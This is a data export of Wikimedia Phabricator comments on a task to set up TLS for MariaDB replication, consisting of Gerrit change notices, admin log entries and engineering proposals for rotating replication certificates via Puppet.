+",,,1460537689,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+643837,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHYVbM1EdYBLP_7mLU} [2016-04-11T22:11:40Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool db1049 after deploy of Puppet certs for TLS - T111654 (duration: 00m 30s)",,,1460412700,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643836,Set up TLS for MariaDB replication,"Change 282764 merged by jenkins-bot:
+Repool db1049 for vslow and dump
+
+[[https://gerrit.wikimedia.org/r/282764]]",,,1460412592,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643771,Set up TLS for MariaDB replication,"Change 282764 had a related patch set uploaded (by Volans):
+Repool db1049 for vslow and dump
+
+[[https://gerrit.wikimedia.org/r/282764]]
+",,,1460406759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+643748,Set up TLS for MariaDB replication,"Change 282684 merged by Volans:
+MariaDB: use Puppet certs for s5 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/282684]]",,,1460405505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643741,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQG67VuD0x0K5Df_R72} [2016-04-11T20:03:11Z] <volans> Deploy and use Puppet certs for TLS on cross-dc replica for shard s5 T111654",,,1460404991,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643735,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQG5lWtgCrwkbTdl-AR} [2016-04-11T19:57:19Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1049 to deploy Pupper certs for TLS - T111654 (duration: 00m 28s)",,,1460404639,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643727,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQG4n4jD0x0K5Df_R7X} [2016-04-11T19:53:07Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1049 to deploy Pupper certs for TLS - T111654 (duration: 02m 25s)",,,1460404387,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643725,Set up TLS for MariaDB replication,"Change 282732 merged by jenkins-bot:
+Depool db1049 to deploy Pupper certs for TLS
+
+[[https://gerrit.wikimedia.org/r/282732]]",,,1460404119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643613,Set up TLS for MariaDB replication,"Change 282732 had a related patch set uploaded (by Volans):
+Depool db1049 to deploy Pupper certs for TLS
+
+[[https://gerrit.wikimedia.org/r/282732]]
+",,,1460396024,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+643412,Set up TLS for MariaDB replication,"Change 282684 had a related patch set uploaded (by Volans):
+MariaDB: use Puppet certs for s5 cross-dc replica
+
+[[https://gerrit.wikimedia.org/r/282684]]
+",,,1460378902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+643361,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQEfjyagCrwkbTdl9t-} [2016-04-11T08:44:22Z] <volans> Re-enabling Puppet on cluster mysql and parsercache to deploy change 282385, T111654",,,1460364262,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+643359,Set up TLS for MariaDB replication,"Change 282658 merged by Volans:
+MariaDB: updated submodule reference
+
+[[https://gerrit.wikimedia.org/r/282658]]",,,1460364039,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643358,Set up TLS for MariaDB replication,"Change 282658 had a related patch set uploaded (by Volans):
+MariaDB: updated submodule reference
+
+[[https://gerrit.wikimedia.org/r/282658]]
+",,,1460363927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+643357,Set up TLS for MariaDB replication,"Change 282657 merged by Volans:
+Removed require that is not directly managed by Puppet
+
+[[https://gerrit.wikimedia.org/r/282657]]",,,1460363813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+643356,Set up TLS for MariaDB replication,"Change 282657 had a related patch set uploaded (by Volans):
+Removed require that is not directly managed by Puppet
+
+[[https://gerrit.wikimedia.org/r/282657]]
+",,,1460363770,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+643352,Set up TLS for MariaDB replication,"Change 282385 merged by Volans:
+MariaDB: allow multiple MySQL TLS configurations
+
+[[https://gerrit.wikimedia.org/r/282385]]",,,1460363315,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643348,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQEZvzPD0x0K5Df_RqA} [2016-04-11T08:18:58Z] <volans> Disabling Puppet on cluster mysql and parsercache to merge and test change 282385 on db2040, T111654",,,1460362739,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+642731,Set up TLS for MariaDB replication,"Change 282385 had a related patch set uploaded (by Volans):
+MariaDB: allow multiple MySQL TLS configurations
+
+[[https://gerrit.wikimedia.org/r/282385]]
+",,,1460134171,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+642706,Set up TLS for MariaDB replication,"Change 282380 merged by Volans:
+Allow a third value to use the Puppet certs
+
+[[https://gerrit.wikimedia.org/r/282380]]",,,1460131781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+642701,Set up TLS for MariaDB replication,"Change 282380 had a related patch set uploaded (by Volans):
+Allow a third value to use the Puppet certs
+
+[[https://gerrit.wikimedia.org/r/282380]]
+",,,1460131037,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+640066,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPgmJxIy3uubrspqdgs} [2016-04-04T09:26:51Z] <volans> Re-enabling Puppet on cluster mysql and parsercache to deploy change 279596, T111654",,,1459762011,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,39,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+640062,Set up TLS for MariaDB replication,"Change 279596 merged by Volans:
+DB: Expose Puppet SSL certs and generate CA cert
+
+[[https://gerrit.wikimedia.org/r/279596]]",,,1459761233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+640061,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPgiYpUgCrwkbTdl70U} [2016-04-04T09:10:23Z] <volans> Disabling Puppet on cluster mysql and parsercache to merge and test change 279596 on db2040, T111654",,,1459761023,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,39,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+636882,Set up TLS for MariaDB replication,"Change 280234 merged by Volans:
+Resolve conflict on /etc/mysql/ssl directory
+
+[[https://gerrit.wikimedia.org/r/280234]]",,,1459276296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+636740,Set up TLS for MariaDB replication,"Change 280234 had a related patch set uploaded (by Volans):
+Resolve conflict on /etc/mysql/ssl directory
+
+[[https://gerrit.wikimedia.org/r/280234]]
+",,,1459265004,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+636675,Set up TLS for MariaDB replication,"Change 279694 merged by Volans:
+Refactor of the CAs certificate genearation
+
+[[https://gerrit.wikimedia.org/r/279694]]",,,1459257493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+635814,Set up TLS for MariaDB replication,"Change 279694 had a related patch set uploaded (by Volans):
+Refactor of the CAs certificate genearation
+
+[[https://gerrit.wikimedia.org/r/279694]]
+",,,1458991574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+635386,Set up TLS for MariaDB replication,"Change 279596 had a related patch set uploaded (by Volans):
+[WIP] DB: Expose Puppet SSL certs and generate CA cert
+
+[[https://gerrit.wikimedia.org/r/279596]]
+",,,1458905205,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+635379,Set up TLS for MariaDB replication,"Change 278042 merged by Volans:
+DB: Expose Puppet SSL certs and generate CA cert
+
+[[https://gerrit.wikimedia.org/r/278042]]",,,1458904157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+631652,Set up TLS for MariaDB replication,"Change 278052 had a related patch set uploaded (by Volans):
+[WIP] DB: Use generated CA for the TLS transition
+
+[[https://gerrit.wikimedia.org/r/278052]]
+",,,1458240468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+631616,Set up TLS for MariaDB replication,"Change 278042 had a related patch set uploaded (by Volans):
+DB: Expose Puppet SSL certs and generate CA cert
+
+[[https://gerrit.wikimedia.org/r/278042]]
+",,,1458237448,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+624300,Set up TLS for MariaDB replication,"We only need a double certificate on one server (one slave of s3, for example, db1021) and maybe, for a short period of time, on es2/es3. Codfw can be restarted all at once and start using the new cert right away, and for WAN replication we can restart one slave on eqiad for each shard. All others (within-eqiad replication) can continue using/switch to no SSL until the failover in a few weeks. es2/es3 masters can be switched easily without downtime by using circular replication.
+
+What we need as soon as possible is the new certs/keys loaded by the servers by default (even if they are not yet used) because we need to constantly reboot those servers (e.g. codfw es2/3) and we need to get the new files ASAP.",,,1457340641,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,35,True,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+623475,Set up TLS for MariaDB replication,"MySQL allows also to specify different SSL parameters just for the replica connection from a slave to a master through the `CHANGE MASTER TO` syntax, but it doesn't help too much here because is the master CA defined in the `/etc/my.cnf` is the one that will be used to check that certificate.
+
+Here is a //pretty safe// (IMHO) proposal, if we are //brave// and accept some level of risk we could merge/skip some steps. (I'm not suggesting to do it!)
+The only scenario I'm accepting the risk is a local master change in codfw during the preparation, that could be solved or by delaying the puppet run on codfw local masters or adding some additional step.
+
+= Proposal to fix only SSL for cross-DC replicas =
+
+- Preparation
+ # Expose Puppet cert to MySQL [TBD on Puppet, needs T124444]
+ # Generate a `ca.crt` with both CA pems inside: the current one and the Puppet exposed one [TBD on Puppet]
+ # Change `my.cnf` config to use the generated `ca.crt` to validate SSL certs so that both will be accepted. To be done on  both the `[client]` and `[mysqld]` sections [TBD on Puppet]
+ # Restart MySQL **ON ONE codfw SLAVE per shard** (still using old cert but accepting both CAs)
+ # Promote this SLAVE to be the local master of the shard
+- During the planned DC failover to codfw:
+ # Restart MySQL with `--skip-slave-start` **ON ONE eqiad SLAVE per shard**
+  - `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/new_cert"", MASTER_SSL_KEY=""/path/to/new_key""` (alternatively could be done by Puppet in the my.cnf if we define a role local master but this would mean coupling cluster topology with Puppet)
+  - `START SLAVE`
+ # Promote this SLAVE to be the local master of the shard
+- During or after the planned DC failover:
+ # Restart MySQL replica **ON ALL codfw LOCAL MASTERS**
+  - `STOP SLAVE`
+  - `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/new_cert"", MASTER_SSL_KEY=""/path/to/new_key""` (alternatively could be done by Puppet in the my.cnf if we define a role local master but this would mean coupling cluster topology with Puppet)
+  - `START SLAVE`
+
+**CONS:**
+- Some of those steps needs to be manually redone if we change the topology of local masters
+- We still need to perform the full fix before December (expiration date of current certs) because the local masters will still use the old key for the server side
+
+= Proposal to fix SSL on all replicas =
+
+- Preparation
+ # Expose Puppet cert to MySQL [TBD on Puppet, needs T124444]
+ # Generate a `ca.crt` with both CA pems inside: the current one and the Puppet exposed one [TBD on Puppet]
+ # Change `my.cnf` config to use the generated `ca.crt` to validate SSL certs so that both will be accepted. To be done on  both the `[client]` and `[mysqld]` sections [TBD on Puppet]
+ # Change `my.cnf` config to use the exposed Puppet cert in both the `[client]` and `[mysqld]` sections **ONLY FOR codfw SERVERS** [TBD on Puppet]
+ # Restart MySQL with `--skip-slave-start` on **ALL codfw terminal SLAVES**
+  - perform `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/old_cert"", MASTER_SSL_KEY=""/path/to/old_key""` to use the old `ssl-cert` and `ssl-key`
+  - `START SLAVE`
+ # Promote one of the slave per shard to be the local master
+ # Restart MySQL on the demoted slaves (will use new certs)
+ # Restart MySQL Replica on **codfw terminal SLAVES (except demoted ones)**
+  - perform `CHANGE MASTER TO MASTER_SSL_CERT="""", MASTER_SSL_KEY=""""` to reset SSL parameters and use the new ones in `my.cnf`
+  - `START SLAVE`
+ # At this point all codfw infra-DC replicas will be using the new certificate (Puppet one)
+
+- During the planned DC failover to codfw (once we are confident we'll not do an emergency rollback):
+ # Change `my.cnf` config to use the exposed Puppet cert in both the `[client]` and `[mysqld]` sections **ALL SERVERS** [TBD on Puppet]
+ # Restart MySQL with `--skip-slave-start` on **ALL eqiad terminal SLAVES**
+  - `CHANGE MASTER TO MASTER_SSL_CERT=""/path/to/old_cert"", MASTER_SSL_KEY=""/path/to/old_key""` to use the old `ssl-cert` and `ssl-key`
+  - `START SLAVE`
+ # Promote one of the slave per shard to be the local master
+ # Restart MySQL on the demoted slaves (will use new certs) [in this case they will probably need to be re-imaged or upgraded too]
+ # Restart MySQL Replica on **eqiad terminal SLAVES (except demoted ones)**
+  - `STOP SLAVE`
+  - `CHANGE MASTER TO MASTER_SSL_CERT="""", MASTER_SSL_KEY=""""` to reset SSL parameters and use the new ones in `my.cnf`
+  - `START SLAVE`
+
+Of course we could do this on a per-shard basis.
+
+@jcrespo what do you think?",,,1457116405,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,35,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+621906,Set up TLS for MariaDB replication,"To have MySQL recognize certificates valid from both CAs (current one and new one) we can use on those options:
+
